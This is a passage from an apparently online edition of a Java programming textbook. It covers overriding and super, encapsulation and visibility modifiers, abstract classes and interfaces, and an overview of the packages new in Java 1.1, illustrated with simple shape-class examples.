Dynamic method lookup is fast, but it is not as fast as invoking a method directly. Fortunately, there are a number of cases in which Java does not need to use dynamic method lookup. static methods cannot be overridden, so they are always invoked directly. private methods (which we haven't learned about yet) are not inherited by subclasses and so cannot be overridden by subclasses; this means the Java compiler can safely invoke them without dynamic method lookup as well. final methods are invoked directly for the same reason: they cannot be overridden. Finally, when a method of a final class is invoked through an instance of the class or a subclass of it, then it, too, can be invoked without the overhead of dynamic lookup. These static, final, and private methods that can be invoked directly are also candidates for inlining--i.e., if the methods are short, the compiler may simply insert the method body into the code rather than inserting a call to the method.

Invoking an Overridden Method

We've seen the important differences between method overriding and variable shadowing. Nevertheless, the Java syntax for invoking an overridden method is very similar to the syntax for accessing a shadowed variable: both use the super keyword. Example 3.13 illustrates this.

Example 3.13: Invoking an Overridden Method

class A {
    int i = 1;
    int f() { return i; }        // A very simple method.
}
class B extends A {
    int i;                       // This variable shadows i in A.
    int f() {                    // This method overrides f() in A.
        i = super.i + 1;         // It retrieves A.i this way.
        return super.f() + i;    // And it invokes A.f() this way.
    }
}

Recall that when you use super to refer to a shadowed variable, it is the same as casting this to the superclass type and accessing the variable through that. On the other hand, using super to invoke an overridden method is not the same as casting this. In this case, super has the special purpose of turning off dynamic method lookup and invoking the specific method that the superclass defines or inherits.

In Example 3.13 we use super to invoke an overridden method that is actually defined in the immediate superclass. super also works perfectly well to invoke overridden methods that are defined further up the class hierarchy. This is because the overridden method is inherited by the immediate superclass, and so the super syntax does in fact refer to the correct method.

To make this more concrete, suppose class A defines method f, and that B is a subclass of A, and that C is a subclass of B that overrides method f. Then you can still use:

super.f()

to invoke the overridden method from within class C. This is because class B inherits method f from class A. If classes A, B, and C all define method f, however, then calling super.f() in class C invokes class B's definition of the method. In this case, there is no way to invoke A.f() from within class C. super.super.f() is not legal Java syntax!

It is important to note that super can only be used to invoke overridden methods from within the class that does the overriding. With our Circle and Ellipse classes, for example, there is no way to write a program (with or without super) that invokes the Circle area() method on an object of type Ellipse. The only way to do this is to use super in a method within the Ellipse class.

Finally, note that this form of super does not have to occur in the first statement in a method, as it does when used to invoke a superclass constructor method.

Finalizer Chaining Revisited

Now that we've discussed method overriding and how to invoke an overridden method, we can return to the issue of the finalizer method that we left dangling earlier on.

In Java, constructor methods are automatically chained, but finalizer methods are not. If you define a finalize() method to free resources allocated by your class, you may be overriding a finalize() method in a superclass that frees resources allocated by that class. If your finalizer method does not invoke the superclass finalizer, the superclass finalizer never gets called, and resources are not deallocated when they should be.

To prevent this, you should be sure to invoke the superclass finalize() method. The best time to do this is usually after your finalize() method has done all of its deallocation. It is a good idea to add the following call:

super.finalize();

as the last line of all your finalizer methods. You should do this even if you know that none of your class's superclasses have finalizer methods, because future implementations of the class may include one.

Previous | Home | Next
Subclasses and Inheritance | Book Index | Data Hiding and Encapsulation
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.8 Data Hiding and Encapsulation

Java in a Nutshell

Previous Chapter 3
Classes and Objects in Java 		Next

3.8 Data Hiding and Encapsulation

We started this chapter by describing a class as "a collection of data and methods." One of the important object-oriented techniques that we haven't discussed so far is hiding the data within the class, and making it available only through the methods. This technique is often known as encapsulation, because it seals the class's data (and internal methods) safely inside the "capsule" of the class, where it can be accessed only by trusted users--i.e., by the methods of the class.

Why would you want to do this? The most important reason is to hide the internal implementation details of your class. If you prevent programmers from relying on those details, then you can safely modify the implementation without worrying that you will break existing code that uses the class.

Another reason for encapsulation is to protect your class against accidental or willful stupidity. A class often contains a number of variables that are interdependent and must be in a consistent state. If you allow a programmer (this may be you yourself) to manipulate those variables directly, she may change one variable without changing important related variables, thus leaving the class in an inconsistent state. If, instead, she had to call a method to change the variable, that method can be sure to do everything necessary to keep the state consistent.

Here's another way to think about encapsulation: When all of a class's variables are hidden, the class's methods define the only possible operations that can be performed on objects of that class. Once you have carefully tested and debugged your methods, you can be confident that the class will work as expected. On the other hand, if all the variables can be directly manipulated, the number of possibilities you have to test becomes unmanageable.

There are other reasons to hide data, too:

  • Internal variables that are visible externally to the class just clutter up your class's API. Keeping visible variables to a minimum keeps your class tidy and elegant.

  • If a variable is visible in your class, you have to document it. Save time by hiding it instead!

Visibility Modifiers

In most of our examples so far, you've probably noticed the public keyword being used. When applied to a class, it means that the class is visible everywhere. When applied to a method or variable, it means that the method or variable is visible everywhere.

To hide variables (or methods, for that matter) you just have to declare them private:

public class Laundromat {       // People can use this class.
    private Laundry[] dirty;    // They can't see this internal variable,
    public void wash() { ... }  // but they can use these public methods
    public void dry() { ... }   // to manipulate the internal variable.
}

A private field of a class is visible only in methods defined within that class. (Or, in Java 1.1, in classes defined within the class.) Similarly, a private method may only be invoked by methods within the class (or methods of classes within the class). Private members are not visible within subclasses, and are not inherited by subclasses as other members are. [11] Of course, non-private methods that invoke private methods internally are inherited and may be invoked by subclasses.

[11] Every object does, of course, have its own copy of all fields of all superclasses, including the private fields. The methods defined by the object can never refer to or use the private fields of superclasses, however, and so we say that those fields are not inherited.

Besides public and private, Java has two other visibility levels: protected and the default visibility level, "package visibility," which applies if none of the public, private, and protected keywords are used.

A protected member of a class is visible within the class where it is defined, of course, and within all subclasses of the class, and also within all classes that are in the same package as that class. You should use protected visibility when you want to hide fields and methods from code that uses your class, but want those fields and methods to be fully accessible to code that extends your class.

The default package visibility is more restrictive than protected, but less restrictive than private. If a class member is not declared with any of the public, private, or protected keywords, then it is visible only within the class that defines it and within classes that are part of the same package. It is not visible to subclasses unless those subclasses are part of the same package.

A note about packages: A package is a group of related and possibly cooperating classes. All non-private members of all classes in the package are visible to all other classes in the package. This is okay because the classes are assumed to know about, and trust, each other. [12] The only time difficulty arises is when you write programs without a package statement. These classes are thrown into a default package with other package-less classes, and all their non-private members are visible throughout the package. (The default package usually consists of all classes in the current working directory.)

[12] If you're a C++ programmer, you can say that classes within the same package are friend-ly to each other.

There is an important point to make about subclass access to protected members. A subclass inherits the protected members of its superclass, but it can only access those members through instances of itself, not directly in instances of the superclass. Suppose, for example, that A, B, and C are public classes, each defined in a different package, and that a, b, and c are instances of those classes. Let B be a subclass of A, and C be a subclass of B. Now, if A has a protected field x, then the class B inherits that field, and its methods can use this.x, b.x and c.x. But it cannot access a.x. Similarly, if A has a protected method f(), then the methods of class B can invoke this.f(), b.f(), and c.f(), but they cannot invoke a.f().

Table 3.1 shows the circumstances under which class members of the various visibility types are accessible to other classes.

Table 3.1: Class Member Accessibility
Accessible to: | public | protected | package | private
Same class | yes | yes | yes | yes
Class in same package | yes | yes | yes | no
Subclass in different package | yes | yes | no | no
Non-subclass, different package | yes | no | no | no

The details of member visibility in Java can become quite confusing. Here are some simple rules of thumb for using visibility modifiers:

  • Use public only for methods and constants that form part of the public API of the class. Certain very important or very frequently used fields may also be public, but it is common practice to make fields non-public and encapsulate them with public accessor methods.

  • Use protected for fields and methods that aren't necessary to use the class, but that may be of interest to anyone creating a subclass as part of a different package.

  • Use the default package visibility for fields and methods that you want to be hidden outside of the package, but which you want cooperating classes within the same package to have access to.

  • Use private for fields and methods that are only used inside the class and should be hidden everywhere else.

Note that you can't take advantage of package visibility unless you use the package statement to group your related classes into packages. See Chapter 13, Java Syntax, Java Syntax, for a table that summarizes the Java visibility modifiers and other modifiers.

Data Access Methods

In the Circle example we've been using, we've declared the circle position and radius to be public fields. In fact, the Circle class is one where it may well make sense to keep those visible--it is a simple enough class, with no dependencies between the variables.

On the other hand, suppose we wanted to impose a maximum radius on objects of the Circle class. Then it would be better to hide the r variable so that it could not be set directly. Instead of a visible r variable, we'd implement a setRadius() method that verifies that the specified radius isn't too large and then sets the r variable internally. Example 3.14 shows how we might implement Circle with encapsulated data and a restriction on radius size. For convenience, we use protected fields for the radius and position variables. This means that subclasses of Circle, or cooperating classes within the shapes package are able to access these variables directly. To any other classes, however, the variables are hidden. Also, note the private constant and method used to check whether a specified radius is legal. And finally, notice the public methods that allow you to set and query the values of the instance variables.

Example 3.14: Hiding Variables in the Circle Class

package shapes;             // Specify a package for the class.
public class Circle {       // Note that the class is still public!
    protected double x, y;  // Position is hidden, but visible to subclasses.
    protected double r;     // Radius is hidden, but visible to subclasses.
    private static final double MAXR = 100.0;    // Maximum radius (constant).
    private boolean check_radius(double r) { return (r <= MAXR); }
    // Public constructors
    public Circle(double x, double y, double r) {
        this.x = x; this.y = y;
        if (check_radius(r)) this.r = r;
        else this.r = MAXR;
    }
    public Circle(double r) { this(0.0, 0.0, r); }
    public Circle() { this(0.0, 0.0, 1.0); }
    // Public data access methods
    public void moveto(double x, double y) { this.x = x; this.y = y;}
    public void move(double dx, double dy) { x += dx;  y += dy; }
    public void setRadius(double r) { this.r = (check_radius(r))?r:MAXR; }
    // Declare these trivial methods final so we don't get dynamic
    // method lookup and so that they can be inlined by the compiler.
    public final double getX() { return x; };
    public final double getY() { return y; };
    public final double getRadius() { return r; };
}

Previous | Home | Next
Overriding Methods | Book Index | Abstract Classes and Interfaces
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.9 Abstract Classes and Interfaces

Java in a Nutshell

Previous Chapter 3
Classes and Objects in Java 		Next

3.9 Abstract Classes and Interfaces

In Example 3.14 we declared our Circle class to be part of a package named shapes. Suppose we plan to implement a number of shape classes: Rectangle, Square, Ellipse, Triangle, and so on. We'll give all of these shape classes our two basic area() and circumference() methods. Now, to make it easy to work with an array of shapes, it would be helpful if all our shape classes have a common superclass, Shape. We want Shape to encapsulate whatever features all our shapes have in common. In this case, they have in common the area() and circumference() methods. But our generic Shape class can't actually implement these methods, since it doesn't represent any actual shape. Java handles this case with abstract methods.

Abstract Methods

Java lets us define a method without implementing it by making the method abstract. An abstract method has no body; it simply has a signature definition followed by a semicolon. [13] Here are the rules about abstract methods, and the abstract classes that contain them:

[13] An abstract method in Java is something like a "pure virtual function" in C++ (i.e., a virtual function that is declared = 0). In C++, a class that contains a pure virtual function is called an "abstract class" and may not be instantiated. The same is true of Java classes that contain abstract methods.

  • Any class with an abstract method is automatically abstract itself, and must be declared as such.

  • A class may be declared abstract even if it has no abstract methods. This prevents it from being instantiated.

  • An abstract class cannot be instantiated.

  • A subclass of an abstract class can be instantiated if it overrides each of the abstract methods of its superclass and provides an implementation (i.e., a method body) for all of them.

  • If a subclass of an abstract class does not implement all of the abstract methods it inherits, that subclass is itself abstract.

That description of the abstract keyword was pretty abstract! Example 3.15 is more concrete. It shows an abstract Shape class and two non-abstract subclasses of it.

Example 3.15: An Abstract Class and Subclasses

public abstract class Shape {
    public abstract double area();
    public abstract double circumference();
}
class Circle extends Shape {
    protected double r;
    protected static final double PI = 3.14159265358979323846;
    public Circle() { r = 1.0; }
    public Circle(double r) { this.r = r; }
    public double area() { return PI * r * r; }
    public double circumference() { return 2 * PI * r; }
    public double getRadius() { return r; }
}
class Rectangle extends Shape {
    protected double w, h;
    public Rectangle() { w = 0.0; h = 0.0; }
    public Rectangle(double w, double h) { this.w = w;  this.h = h; }
    public double area() { return w * h; }
    public double circumference() { return 2 * (w + h); }
    public double getWidth() { return w; }
    public double getHeight() { return h; }
}

Note that the abstract methods in Shape have a semicolon right after their parentheses. There are no curly braces, and no method body is defined. Using the classes defined in Example 3.15, we can now write code like this:

Shape[] shapes = new Shape[3];          // Create an array to hold shapes.
shapes[0] = new Circle(2.0);            // Fill in the array...
shapes[1] = new Rectangle(1.0, 3.0);
shapes[2] = new Rectangle(4.0, 2.0);
double total_area = 0;
for(int i = 0; i < shapes.length; i++)
    total_area += shapes[i].area();     // Compute the area of the shapes.

There are two important points to notice here:

  • Subclasses of Shape can be assigned to elements of an array of Shape. No cast is necessary.

  • You can invoke the area() and circumference() methods for Shape objects, even though Shape does not define a body for these methods, because Shape declared them abstract. If Shape did not declare them at all, the code would cause a compilation error.

Interfaces

Let's extend our shapes package further. Suppose we now want to implement a number of shapes that can be drawn on the screen. We could define an abstract DrawableShape class, and then implement various subclasses of it, such as DrawableCircle, DrawableRectangle, and so on. This would work fine.

But suppose we want our drawable shape types to support the area() and circumference() methods. We don't want to have to re-implement these methods, so we'd like to make DrawableCircle a subclass of Circle, for example, and DrawableRectangle a subclass of Rectangle. But classes in Java can only have one superclass. If DrawableCircle extends Circle, then it cannot also extend DrawableShape! [14]

[14] C++ allows classes to have more than one superclass, using a technique known as "multiple inheritance." Multiple inheritance opens up a can of worms, so Java replaces it with what many believe is a more elegant solution.

Java's solution to this problem is called an interface. An interface looks a lot like an abstract class, except that it uses the keyword interface instead of the words abstract and class. Example 3.16 shows an interface named Drawable.

Example 3.16: An Interface Definition

public interface Drawable {
    public void setColor(Color c);
    public void setPosition(double x, double y);
    public void draw(DrawWindow dw);
}

While an abstract class may define some abstract methods and some non-abstract methods, all the methods defined within an interface are implicitly abstract. We've omitted the abstract keyword in this example, but it is perfectly legal to use it if you want to belabor the abstractness of interface methods. A further restriction on interfaces is that any variables declared in an interface must be static and final--that is, they must be constants.

So what can we do with an interface? Just as a class extends its superclass, it also optionally implements an interface. implements is a Java keyword that can appear in a class declaration following the extends clause. implements should be followed by the name of the interface that the class implements. In order to implement an interface, a class must first declare the interface in an implements clause, and then it must provide an implementation (i.e., a body) for all of the abstract methods of the interface. [15]

[15] This is the real difference between multiple inheritance in C++ and interfaces in Java. In C++, a class can inherit method implementations from more than one superclass. In Java, a class can inherit actual implementations only from one superclass. It can inherit additional abstract methods from interfaces, but it must provide its own implementation of those methods. It is rare, however, to actually be able to use C++ multiple inheritance to inherit useful, non-trivial implementations from more than one class. The elegance and simplicity of Java's interface more than compensate for the inability to inherit implementations from more than one class.

Example 3.17 shows how we can define a DrawableRectangle class that extends our Rectangle class and implements the Drawable interface we defined in Example 3.16. The example assumes that a Color class and a DrawWindow class are defined elsewhere, and that DrawWindow knows how to convert floating-point coordinates to pixel coordinates and knows how to draw primitive shapes.

Example 3.17: Implementing an Interface

public class DrawableRectangle extends Rectangle implements Drawable {
    // New instance variables
    private Color c;
    private double x, y;
    // A constructor
    public DrawableRectangle(double w, double h) { super(w, h); }
    // Here are implementations of the Drawable methods.
    // We also inherit all the public methods of Rectangle.
    public void setColor(Color c) { this.c = c; }
    public void setPosition(double x, double y) { this.x = x; this.y = y; }
    public void draw(DrawWindow dw) {
        dw.drawRect(x, y, w, h, c);
    }
}

Using Interfaces

Suppose we implement DrawableCircle and DrawableSquare just as we implemented DrawableRectangle in Example 3.17. As we saw earlier, instances of these classes can be treated as instances of the abstract Shape class. They can also be treated as instances of the Drawable interface. Example 3.18 demonstrates this.

Example 3.18: Casting Objects to Their Interface Type

Shape[] shapes = new Shape[3];          // Create an array to hold shapes
Drawable[] drawables = new Drawable[3]; // and an array to hold drawables.
// Create some drawable shapes.
DrawableCircle dc = new DrawableCircle(1.1);
DrawableSquare ds = new DrawableSquare(2.5);
DrawableRectangle dr = new DrawableRectangle(2.3, 4.5);
// The shapes can be assigned to both arrays.
shapes[0] = dc;   drawables[0] = dc;
shapes[1] = ds;   drawables[1] = ds;
shapes[2] = dr;   drawables[2] = dr;
// Compute total area and draw the shapes by invoking
// the Shape and the Drawable abstract methods.
double total_area = 0;
for(int i = 0; i < shapes.length; i++) {
    total_area += shapes[i].area();    // Compute the area of the shapes.
    drawables[i].setPosition(i*10.0, i*10.0);
    drawables[i].draw(draw_window);    // Assume draw_window defined somewhere.
}

What this example demonstrates is that interfaces are data types in Java, just as classes are, and that when a class implements an interface, instances of that class can be assigned to variables of the interface type. Don't interpret this example to imply that you must assign a DrawableRectangle object to a Drawable variable before you can invoke the draw() method or that you must assign it to a Shape variable before you can invoke the area() method. DrawableRectangle defines draw() and inherits area() from its Rectangle superclass, and so you can always invoke these methods.

Implementing Multiple Interfaces

Suppose we wanted shapes that could be scaled to be larger or smaller. One way we could do this is by defining a Scalable interface and implementing subclasses of DrawableRectangle and the other classes. To do this, though, the new subclass would have to implement both the Drawable interface and the Scalable interface. This is no problem. You may specify a list of comma-separated interfaces in the implements clause of any class:

public class DrawableScalableRectangle extends DrawableRectangle
                implements Drawable, Scalable {
    // The methods of the Scalable interface must be implemented here.
}

When a class implements more than one interface, it means simply that it must provide an implementation for all of the abstract methods in all of its interfaces.

Constants in Interfaces

As we noted above, constants may appear in interface definitions. What does it mean to implement an interface that contains constants? It simply means that the class that implements the interface "inherits" the constants (in a sense) and can use them as if they were defined directly in the class. There is no need to prefix them with the name of the interface, and there is no need to provide an "implementation" of the constants:

class A { static final int CONSTANT1 = 3; }
interface B { static final int CONSTANT2 = 4; }
class C implements B {
    void f() {
        int i = A.CONSTANT1;  // Have to use the class name here.
        int j = CONSTANT2;    // No class name here, because we implement
    }                         // the interface that defines this constant.
}

When you have a set of constants used by more than one class within a package (for example, a port number and other protocol constants used by a client and server), it is convenient to define them in an interface that contains no abstract methods. Then, any class that wants to use those constants needs only to declare that it implements the interface.

Extending Interfaces

Interfaces can have sub-interfaces, just as classes can have subclasses. A sub-interface inherits all the abstract methods and constants of its super-interface, and may define new abstract methods and constants. Interfaces are different from classes in one very important way, however.

An interface can extend more than one interface at a time:

public interface Transformable extends Scalable, Rotateable, Reflectable { }
public interface DrawingObject extends Drawable, Transformable { }
public class Shape implements DrawingObject { ... }

An interface that extends more than one interface inherits all the abstract methods and constants from each of those interfaces, and may define its own additional abstract methods and constants. A class that implements such an interface must implement the abstract methods defined in the interface itself as well as all the abstract methods inherited from all the super-interfaces.

Marker Interfaces

Another technique that is sometimes useful is to define an interface that is entirely empty. A class can implement this interface to provide additional information about itself. The Cloneable interface in java.lang is an example of this type of "marker interface." It defines no methods, but serves simply to identify the class as one that will allow its internal state to be cloned by the clone() method of the Object class. In Java 1.1, java.io.Serializable is another such marker interface. You can test whether a class implements a marker interface (or any interface) using the instanceof operator.

Previous | Home | Next
Data Hiding and Encapsulation | Book Index | C++ Features Not Found in Java
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.10 C++ Features Not Found in Java

Java in a Nutshell

Previous Chapter 3
Classes and Objects in Java 		Next

3.10 C++ Features Not Found in Java

Throughout this chapter, we've noted similarities and differences between Java and C++ in footnotes. Java shares enough concepts and features with C++ to make it an easy language for C++ programmers to pick up. There are several features of C++ that have no parallel in Java, however. In general, Java does not adopt those features of C++ that make the language significantly more complicated. These omissions from Java (or simplifications of C++) are described below.

C++ supports "multiple inheritance" of method implementations from more than one superclass at a time. While this seems like a very useful feature, adding it to the language actually turns out to introduce many complexities. The Java language designers chose to avoid the added complexity by using interfaces instead. Thus, a class in Java can only inherit method implementations from a single superclass, but it can inherit method declarations from any number of interfaces. In practice, this is not any particular hardship.

C++ supports (though not yet in a very standardized way) templates that allow you, for example, to implement a Stack class and then instantiate it as Stack<int> or Stack<double> to produce two separate types: a stack of integers and a stack of floating-point values. Java has no such facility. However, the fact that every class in Java is a subclass of Object means that every object can be cast to an instance of Object. Thus, in Java, it is often sufficient to define a data structure (such as a Stack class) that operates on Object values--the objects can be cast back to their actual type whenever necessary.

C++ allows you to define operators that perform arbitrary operations on instances of your classes. In effect, it allows you to extend the syntax of the language. This is a nifty feature, called operator overloading, that makes for very elegant examples. In practice, however, it tends to make code hard to understand. After much debate, the Java language designers decided to omit such "operator overloading" from the language. Note, though, that the use of the + operator for string concatenation in Java is at least reminiscent of operator overloading.

C++ allows you to define "conversion functions" for a class that automatically invoke an appropriate constructor method when a value is assigned to a variable of that class. This is simply a syntactic shortcut (similar to overriding the assignment operator) and is not included in Java.

In C++, objects are by default manipulated by value; you must use & to specify a variable or function argument that is automatically manipulated by reference. In Java, all objects are manipulated by reference, so there is no need for this & syntax.

Previous | Home | Next
Abstract Classes and Interfaces | Book Index | Summary
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 3] 3.11 Summary

Java in a Nutshell

Previous Chapter 3
Classes and Objects in Java 		Next

3.11 Summary

This has been a long and detailed chapter. The following list summarizes the most important points to remember. This summary is not intended to simplify the complex material we've covered, but it may allow you to test your comprehension of the material now, and may help jog your memory later:

  • A class is a collection of data and methods that operate on that data.

  • An object is a particular instance of a class.

  • Object members (fields and methods) are accessed with a dot between the object name and the member name.

  • Instance (non-static) variables occur in each instance of a class.

  • Class (static) variables are associated with the class. There is one copy of a class variable regardless of the number of instances of a class.

  • Instance (non-static) methods of a class are passed an implicit this argument that identifies the object being operated on.

  • Class (static) methods are not passed a this argument and therefore do not have a current instance of the class that can be used to implicitly refer to instance variables or invoke instance methods.

  • Objects are created with the new keyword, which invokes a class constructor method with a list of arguments.

  • Objects are not explicitly freed or destroyed in any way. The Java garbage collector automatically reclaims objects that are no longer being used.

  • If the first line of a constructor method does not invoke another constructor with a this() call, or a superclass constructor with a super() call, Java automatically inserts a call to the superclass constructor that takes no arguments. This enforces "constructor chaining."

  • If a class does not define a constructor, Java provides a default constructor.

  • A class may inherit the non-private methods and variables of another class by "subclassing"--i.e., by declaring that class in its extends clause.

  • java.lang.Object is the default superclass for a class. It is the root of the Java class hierarchy and has no superclass itself. All Java classes inherit the methods defined by Object.

  • Method overloading is the practice of defining multiple methods which have the same name but have different argument lists.

  • Method overriding occurs when a class redefines a method inherited from its superclass.

  • Dynamic method lookup ensures that the correct method is invoked for an object, even when the object is an instance of a class that has overridden the method.

  • static, private, and final methods cannot be overridden and are not subject to dynamic method lookup. This allows compiler optimizations such as inlining.

  • From a subclass, you can explicitly invoke an overridden method of a superclass with the super keyword.

  • You can explicitly refer to a shadowed variable with the super keyword.

  • Data and methods may be hidden or encapsulated within a class by specifying the private or protected visibility modifiers. Members declared public are visible everywhere. Members with no visibility modifiers are visible only within the package.

  • An abstract method has no method body (i.e., no implementation).

  • An abstract class contains abstract methods. The methods must be implemented in a subclass before the subclass can be instantiated.

  • An interface is a collection of abstract methods and constants (static final variables). Declaring an interface creates a new data type.

  • A class implements an interface by declaring the interface in its implements clause and by providing a method body for each of the abstract methods in the interface.

Previous | Home | Next
C++ Features Not Found in Java | Book Index | What's New in Java 1.1
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] What's New in Java 1.1

Java in a Nutshell

Previous Chapter 4 Next

4. What's New in Java 1.1

Contents:
Inner Classes
The New AWT Event Model
Deprecated Features
Other AWT Improvements
Internationalization
Object Serialization
Reflection
Java Beans
Enterprise APIs: JDBC, RMI, and Security
Applet Changes
New JDK Utilities

Java 1.1 is a huge new release. The number of packages in the API has increased from 8 in Java 1.0 to 23 in Java 1.1, and the number of classes has more than doubled from 211 to 503. On top of these changes to the core Java class libraries, there have been some important changes to the language itself. Also, the JDK--the Java Development Kit from Sun--includes a number of new tools in version 1.1.

The new features of Java 1.1 include:

Inner classes

Changes to the Java language itself to allow classes to be nested within each other, and within blocks of code.

Java Beans

A framework for defining reusable modular software components.

Internationalization

A variety of new features that make it possible to write programs that run around the globe.

New event model

A new model for handling events in graphical user interfaces that should make it easier to create those interfaces.

Other new AWT features

The Java 1.1 AWT includes support for printing, cut-and-paste, popup menus, menu shortcuts, and focus traversal. It has improved support for colors, fonts, cursors, scrolling, image manipulation, and clipping.

Applets

JAR files allow all of an applet's files to be grouped into a single archive. Digital signatures allow trusted applets to run with fewer security restrictions. The HTML <APPLET> tag has new features.

Object serialization

Objects can now be easily "serialized" and sent over the network or written to disk for persistent storage.

Reflection

Java programs can now "reflect" upon themselves or upon an arbitrary class to determine the methods and fields defined by the class, the arguments passed to a method, and so on. The Reflection API also allows the invocation of methods specified by name.

Security

Java 1.1 includes a new package that supports digital signatures, message digests, key management, and access control lists.

Java Database Connectivity (JDBC)

A new package that allows Java programs to send SQL queries to database servers. It includes a "bridge" that allows it to inter-operate with existing ODBC database servers.

Remote Method Invocation (RMI)

An interface that supports distributed Java applications in which a program running on one computer can invoke methods of Java objects that exist on a different computer.

These and other new features are summarized in the sections below. Many of them are also described in more detail elsewhere in this book.

4.1 Java 1.1 Package-by-Package

The packages and classes of the Java class library are interlinked and interdependent. Many of the major new features of Java 1.1 rely on classes from multiple packages in the Java API. Before we examine those new features in detail, therefore, we need to understand the big picture of Java 1.1. The paragraphs below discuss each of the 23 packages that constitute the core API for Java 1.1; they introduce the new packages and explain the changes to existing packages.

java.applet

Despite the introduction of JAR files, digitally signed applets, and new attributes of the <APPLET> tag, the java.applet package has not changed in any significant way.

java.awt

The java.awt package contains new classes and interfaces to support printing, popup menus, and menu shortcuts, and to improve support for layout management, cursors, scrolling, colors, and clipping. Several classes provide support for the new AWT event model, but most event support is contained in one of several new sub-packages of java.awt.

java.awt.datatransfer

The classes and interfaces in this package define a generic framework for inter-application (and intra-application) data transfer. This package also includes classes to support a clipboard-based cut-and-paste data transfer model. In the future, this package may be extended to include support for data transfer through a drag-and-drop metaphor. One of the two underlying data transfer mechanisms supported by this package relies on the Object Serialization API of the java.io package.

java.awt.event

This package defines the classes and interfaces of the new AWT event handling model. The classes and interfaces of this package fall into three categories:

  • Event classes--the classes that actually represent events.

  • Event "listeners"--interfaces that define methods that must be implemented by objects interested in being notified when an event of a particular type occurs.

  • Event "adaptors"--trivial no-op implementations of the event listener interfaces that are suitable for easy subclassing.

All the events and event listeners defined in this package extend the EventObject class or the EventListener interface defined in java.util.

java.awt.image

This package has two new image filter classes that implement improved image scaling. Changes have also been made to the MemoryImageSource and PixelGrabber classes.

java.awt.peer

The changes to this package for the most part simply reflect changes to java.awt. There are new interfaces that represent a platform-dependent popup menu and scrolling area, for example.

java.beans

This package constitutes the much-touted JavaBeans API for creating and using embeddable, reusable software components. The classes and interfaces in this package can be used at three different levels:

  • To create application builder tools that programmers (or even non-programmers) can use to compose applications out of individual Java beans.

  • To develop Java beans for use in such application builders.

  • To develop applications (without using a builder tool) that use Java beans.

Most of the classes and interfaces of the package are for use by application builders or by developers of advanced beans. Programmers using beans or writing simple beans do not need to be familiar with most of the package.

Application builders that manipulate beans rely on the Reflection API defined in java.lang.reflect, and many beans take advantage of the Object Serialization API defined in the java.io package. The JavaBeans API uses the same event model that the Java 1.1 AWT does, and event-related classes and interfaces in this package are extensions of a class and an interface defined in java.util.

java.io

The java.io package has become by far the largest of the core Java packages. This is because Java 1.1 adds:

  • A complete suite of new "character stream" classes to complement most of the existing "byte stream" input and output classes. These new "reader" and "writer" streams offer improved efficiency and support internationalization for textual input and output.

  • New classes and interfaces to support object serialization.

  • A number of new IOException types.

java.lang

This package has several new Exception and Error types, as well as new Byte, Short, and Void classes. With the addition of these new classes, all primitive Java data types (including the void type) have corresponding object types. This is important for the java.lang.reflect package, which defines the new Reflection API. In addition, the Class class has been greatly enhanced for use with the Reflection API. Class and ClassLoader have methods to locate "resources" associated with a class, such as images, audio files, Properties files, and so on. Resources are important for internationalization in Java 1.1.

java.lang.reflect

This new package enables a Java program to examine the structure of Java classes and to "reflect upon" its own structure. java.lang.reflect contains classes that represent the fields, methods, and constructors of a class, and enable a program to obtain complete information about any object, array, method, constructor, or field. The java.beans package relies heavily upon this package.

java.math

This new package contains only two classes, which support arithmetic on arbitrary-size integers and arbitrary-precision floating-point numbers. The BigInteger class also defines methods for modular arithmetic, primality testing, and other features required for cryptography.

java.net

The changes to the java.net package are quite low-level. They include the addition of multicast sockets, Unix-style socket options, and new exception types that provide finer granularity when handling networking exceptions.

java.rmi

This package defines the fundamental classes and interfaces used for Remote Method Invocation. Most of the classes in this package are exception types. Subpackages of java.rmi provide additional, more specialized functionality. When objects must be passed as arguments to remote methods, RMI relies on the object serialization functionality provided in the java.io package.

java.rmi.dgc

This small package defines the classes and interfaces required for distributed garbage collection (DGC).

java.rmi.registry

This is another small package that defines the classes and interfaces required for a Java client to look up a remote object by name or for a Java server to advertise the service it provides.

java.rmi.server

This package is the largest of the RMI packages and is at the heart of Remote Method Invocation. It defines the classes and interface that allow a Java program to create an object that can be used remotely by other Java programs.

java.security

This package contains the classes and interfaces that represent the fundamental abstractions of cryptographic security: public and private keys, certificates, message digests, and digital signatures. This package does not provide implementations of these abstractions; by design, the Java Security API is implementation independent. Java 1.1 does include a default implementation, but vendor-specific implementations may also be used in conjunction with this package. The default security implementation relies on the BigInteger class defined in the java.math package.

java.security.acl

This package defines high-level interfaces, and some exceptions, for manipulating access control lists.

java.security.interfaces

This package defines a few interfaces that are required for the Java Security API's implementation-independent design.

java.sql

This package is the Java Database Connectivity (JDBC) API. The classes and interfaces it contains allow Java programs to send SQL queries to databases and retrieve the results of those queries.

java.text

The classes and interfaces in this package are used for internationalization. The package includes classes for formatting dates, times, numbers, and textual messages in a manner appropriate for the default locale, or for any specified locale. It also includes classes for collating strings according to the rules of a given locale and iterating through the characters, words, and sentences of a string in a locale-specific manner.

java.util

As its name indicates, the java.util package contains miscellaneous utility classes. In Java 1.1, new classes have been added to this package to support the AWT and Java Beans event model, to define "locales" and "resource bundles" used for internationalization, and to manipulate dates, times, and time zones.

java.util.zip

This package implements classes for computing checksums on streams of data, and for compressing and archiving (and uncompressing and unarchiving) streams of data, using ZLIB compression library and ZIP and GZIP file formats.

Previous | Home | Next
Summary | Book Index | Inner Classes
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.2 Inner Classes

Java in a Nutshell

Previous Chapter 4
What's New in Java 1.1 		Next

4.2 Inner Classes

While the bulk of the changes in Java 1.1 are additions to the core Java API, there has also been a major addition to the language itself. The language has been extended to allow class definitions to be nested within other classes, and even to be defined locally, within blocks of code. Altogether, there are four new types of classes that can be defined in Java 1.1; these four new types are sometimes loosely referred to as "inner classes."

